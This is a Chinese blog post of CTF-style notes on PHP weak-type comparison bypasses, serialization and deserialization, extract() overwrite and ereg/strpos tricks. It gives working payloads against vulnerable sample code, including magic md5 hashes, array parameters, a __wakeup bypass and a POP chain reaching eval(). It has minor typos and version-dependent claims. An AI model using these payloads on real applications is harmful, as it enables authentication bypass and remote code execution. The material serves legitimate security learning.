1.24-2 弱类型比较漏洞及序列化与反序列化

真是熬夜爆肝啊,不说了睡觉去了😪

弱类型比较漏洞

弱类型比较漏洞是 PHP 语言特有的逻辑漏洞,根源在于 弱等于运算符(== 的特性:比较时不严格校验数据类型,会先自动将两侧数据转换为相同类型,再进行值比较,最终导致预期外的 “相等” 结果,可能被攻击者利用绕过认证、权限校验等关键逻辑。

原理介绍

字符串 vs 数字比较

  • 转换规则:PHP 会将字符串强制转换为数字,转换逻辑为:取字符串开头的数字部分(若开头非数字则转换为 0),忽略后续非数字字符。
1
2
3
4
5
'12' == 12;        // true(字符串"12"转数字12,值相等)
'12abc' == 12;     // true(仅取开头数字12,忽略"abc")
'adm2n' == 0;      // true(字符串开头非数字,转换为0)
'0123' == 123;     // true(前导0不影响数字转换结果)
'abc123' == 0;     // true(开头无数字,转0)

布尔值 vs 其他值比较

  • 转换规则:布尔值true与任意非 0 值(含非空字符串、非 0 数字)相等;布尔值false仅与 0、空字符串等 “空值” 相等。
1
2
3
4
5
6
'way' == true;     // true(非空字符串转布尔值true)
'false' == true;   // true(字符串"false"非空,转true)
234 == true;       // true(非0数字转true)
0 == false;        // true(0转false)
'' == false;       // true(空字符串转false)
'0' == false;      // true(字符串"0"转数字0,再转false)

重点:哈希值 vs 字符串 “0” 比较

  • 转换规则:若哈希值(如 md5、sha1 结果)以0e开头,且后续字符全为数字,PHP 会将其当作 科学计数法(0 的任意次幂 = 0) 处理,与字符串 “0” 或数字 0 比较时结果为 true。
1
2
3
4
5
$str1 = '240610708';  // md5($str1) = '0e420233178946742799316739797882'
md5($str1) == '0';    // true(哈希值以0e开头,按科学计数法解析为0)

$str2 = 'QNKCDZO';    // md5($str2) = '0e830400451993494058024219903391'
md5($str2) == 0;      // true(同理,解析为0)
  1. md5加密数组输出为NULL
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
if(isset($_GET['username']) && isset($_GET['password']) ){
    if($_GET['username' ] == $_GET['password']){
        echo 'false';
}else if(md5($_GET['username']) === md5($_GET['password'])){
        echo 'flag is xxxxx' ;
}else{
        echo 'nonono';
    }
}
?>

想要得到flag就必须传入参数使得username和password都是数组,这样可以使他们本身不弱相等的情况下MD5值又强相等(因为没有值)。

传参:?username[]=1&password[]=2

利用方法

  1. 登录认证绕过:若后台用$_POST['password'] == $correct_pwd校验,可构造password=12绕过$correct_pwd="12abc"的校验。
  2. 哈希校验绕过:若用md5($input) == $admin_md5验证,可输入240610708(其 md5 以 0e 开头),绕过$admin_md5="0"的校验。
  3. 权限逻辑绕过:若用$role == 1(1 为管理员角色),可输入role=1abc,因转换为 1 导致权限提升。

序列化与反序列化

前置知识:php的面向对象

语法示例:类和对象的定义

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
class People{   //定义类
    //成员变量
    public $name;
    public $age;
    public $job;
    
    //成员方法
    function speak(){
        echo 'hello,我叫'.$this->name.',年龄'.$this->age.',我是一个'.$this->job.'</br>';   //$this可类比python中的self,旨在访问当前类中的变量
    }
}
$c1 = new People();	//初始化对象
$c1->name = '小明';
$c1->age = 18;
$c1->job = '学生';
$c1->speak();
?>

魔术方法

  1. 构造函数__construct()

它在调用这个类初始化了一个对象时会自动执行。

1
2
3
function __construct(){
  echo '我被创造出来了</br>';
}
  1. 析构函数__destruct()

当这个类没用了会被内存销毁,同时执行

1
2
3
function __destruct(){
  echo '我死了</br>';
}
  1. 不知道叫什么__wakeup()

该函数会在反序列化时触发

1
2
3
function __wkaeup(){
  echo '我回来了,孩子们。';
}
  1. 其他方法

__toString 反序列化的时候对象被输出在模板的时候调用

__call 调用不存在的方法的时候调用

__invoke 把一个对象当作函数使用的时候调用

关于面向对象的补充

既然有公有的(public)成员变量,那么是否有私有的呢🤔?有的兄弟,有的。

我们这里把age变量改为私有(private,不可继承)或保护(protected,可继承)或并预设一个量。

此时就不能在初始化对象时重新设置它的年龄。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
class People{   //定义类
    //成员变量
    public $name;
    protected $age = 20;
    private $job;
    
    //成员方法
    function speak(){
        echo 'hello,我叫'.$this->name.',年龄'.$this->age.',我是一个'.$this->job.'</br>';   //$this可类比python中的self,旨在访问当前类中的变量
    }
}
$c1 = new People();	//初始化对象
$c1->name = '小明';
$c1->job = '学生';
$c1->speak();
?>

除非我们在类中定义一个成员方法(function) 专门用来修改这个私有变量,

1
2
3
function setAge($age){	//函数名字不固定,重要的是括号里的参数
  $this->age = $age;
}

在初始化对象时调用这个方法即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class People{   //定义类
    //成员变量
    public $name;
    protected $age = 20;
    private $job = '学生';
    
    //成员方法
    function speak(){
        echo 'hello,我叫'.$this->name.',年龄'.$this->age.',我是一个'.$this->job.'</br>';   //$this可类比python中的self,旨在访问当前类中的变量
    }
	function setAge($age){	//函数名字不固定,重要的是括号里的参数
  		$this->age = $age;
		}
}
$c1 = new People();	//初始化对象
$c1->name = '小明';
$c1->setAge(16);
echo serialize($c1);
$c1->speak();
?>

序列化

上面我们创造了c1这个人对象,但是如果想要发送这个对象不能只依赖复制粘贴,必须使用一种更高效的方法,相当于把复杂的数据压缩为连续的字符串而不丢失信息,这就是序列化。

1
2
3
$c1_zip = serialize($c1)
//输出:O:6:"People":3:{s:4:"name";s:6:"小明";s:3:"age";i:18;s:3:"job";s:6:"学生";}
//Object名people(6个字):(含3个变量){string类型,4个字,变量名name}。。。。以此类推

现在我们可以将这串序列化后的字符串传输到其他地方,当需要还原的时候就使用反序列化。

那么如果是非公有的变量被序列化之后呢?以上上方代码块中的形式为例

1
O:6:"People":3:{s:4:"name";s:6:"小明";s:6:"*age";i:16;s:11:"Peoplejob";s:6:"学生";}

可以看到两个非公有的变量其字数和数字标的对不上(例如*age标为6个字),这是因为有内容被屏蔽了,我们来补全它

1
2
O:6:"People":3:{s:4:"name";s:6:"小明";s:6:"%00*%00age";i:16;s:11:"%00People%00job";s:6:"学生";}
实际上就是*的前后各一个%00,然后类+变量的形式在类的前后各一个%00

%00作为截断符算1个字,这样是不是就对上了。

%00无法被肉眼观测,也无法复制粘贴,所以我们要用base64的方法来传输:

1
2
echo base64_encode(serialize($c1));
//输出:Tzo2OiJQZW9wbGUiOjM6e3M6NDoibmFtZSI7czo2OiLlsI/mmI4iO3M6NjoiACoAYWdlIjtpOjE2O3M6MTE6IgBQZW9wbGUAam9iIjtzOjY6IuWtpueUnyI7fQ==

反序列化

可以看到,仅仅使用了这串字符串就还原了对象的所有变量,你也可以把它字面类比为人设。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class People{   //定义类
    //成员变量
    public $name;
    public $age;
    public $job;
    
    //成员方法
    function speak(){
        echo 'hello,我叫'.$this->name.',年龄'.$this->age.',我是一个'.$this->job.'</br>';   //$this可类比python中的self,旨在访问当前类中的变量
    }
	function __wakeup(){
  		echo '反序列化程序启动</br>';
        echo '调用防火墙审核</br>';
	}
  	function __destruct(){
  			echo '我死了</br>';
	}
}
$c2_zip = 'O:6:"People":3:{s:4:"name";s:6:"小明";s:3:"age";i:18;s:3:"job";s:6:"学生";}';
$c2 = unserialize($c2_zip);
$c2->speak();
?>

如果我们接受到的是base64加密过的序列就给它套一层解码就行了

1
2
$c2_zip = 'Tzo2OiJQZW9wbGUiOjM6e3M6NDoibmFtZSI7czo2OiLlsI/mmI4iO3M6NjoiACoAYWdlIjtpOjE2O3M6MTE6IgBQZW9wbGUAam9iIjtzOjY6IuWtpueUnyI7fQ==';
$c2 = unserialize(base64_decode($c2_zip));

漏洞利用

如果要利用反序列化的漏洞,那么一般是这样的情景:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
class People{   //定义类
    //成员变量
    public $name;
    public $age;
    public $job;
    
    //成员方法
    function speak(){
        echo 'hello,我叫'.$this->name.',年龄'.$this->age.',我是一个'.$this->job.'</br>';   //$this可类比python中的self,旨在访问当前类中的变量
    }
		function __wakeup(){
  			echo '反序列化程序启动</br>';
        echo '调用防火墙审核</br>';
	}
}
$c2_zip = $_GET['man'];
$c2 = unserialize($c2_zip);
$c2->speak();
?>

我们只要在浏览器里给man传参即可,而且显然我们也可以对手上的序列进行一些修改,以输入自己想要的数据。比如我们把学生改为’teacher’,同时把字数改为7(原本一个汉字算三个字)。

1
O:6:"People":3:{s:4:"name";s:6:"小明";s:3:"age";i:18;s:3:"job";s:7:"teacher";}

但是这样并不能突破__wakeup()函数,很可能被防火墙拦截。

解决方案:把变量数+1,即:

1
O:6:"People":4:{s:4:"name";s:6:"小明";s:3:"age";i:18;s:3:"job";s:7:"teacher";}

小练习

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php 

class Aurora{
    public $test;
    public $Aurora = "i am aurora";

    function __construct(){
        $this->test=new L();
    }

    function __destruct(){
        $this->test->action();
    }
}

class L{
    function action(){
        echo "i am L--action";
    }
}

class Evil{
    var $test2;
    function action(){
        eval($this->test2);
    }
}

unserialize($_GET['test']);

?>

解题方法: 把源代码复制到实验区域,初始化一个对象,修改代码中预设变量值为自己想要实现的效果,加上序列化函数,查看序列化结果,如:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php 

class Aurora{
    public $test;
    public $Aurora = "i am aurora";

    function __construct(){
        $this->test=new Evil();
                    //	^~~~~~~~此处修改
    }

    function __destruct(){
        $this->test->action();
    }
}

class L{
    function action(){
        echo "i am L--action";
    }
}

class Evil{
    var $test2='phpinfo();';
            //	^~~~~~~~此处修改
    function action(){
        eval($this->test2);
    }
}

unserialize($_GET['test']);

$a = new Aurora();	//初始化变量
echo serialize($a);	//导出序列化结果

?>
序列化结果:O:6:"Aurora":2:{s:4:"test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}s:6:"Aurora";s:11:"i am aurora";}

将序列化结果传入即可。

其他漏洞

extract()

extract()的作用是把get进来的东西分离为变量名和变量值,例如:

1
2
extract($_GET);
echo $test;

如果我传入?test=hello那么在程序看来就是$test='hello'

例题

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php
extract($_GET);
if(isset($aurora)){
    //加载$flag变量代表的文件
    $content = trim(file_get_contents($flag));	//打开当前目录下的文件
    if($aurora == $content){
        echo 'flag{xxxxx}';
    }else{
        echo "nonono";
    }
}
?>

传参:?content=&aurora=

正则表达式和strpos()

  • 正则表达式遇到%00时会停止匹配,但strpos()不停
  • 当数组遇到strpos()时输出NULL
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
if(isset($_GET['password']) ){
    //输入的内容一定要不能乱来,只有字符串数字
    if(ereg("^[a-zA-Z0-9]+$",$_GET['password']) === FALSE){
        echo 'no1';
    }else if(strpos($_GET['password'],' -- ') !== FALSE){ //查找'--'在password中第一次出现的位置
    //你输入的内容得要有 --
    echo 'flag is xxxxxxx';
    }else{
    echo 'no2';
    }
}
?>

传参:?password[]=123%00--

Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS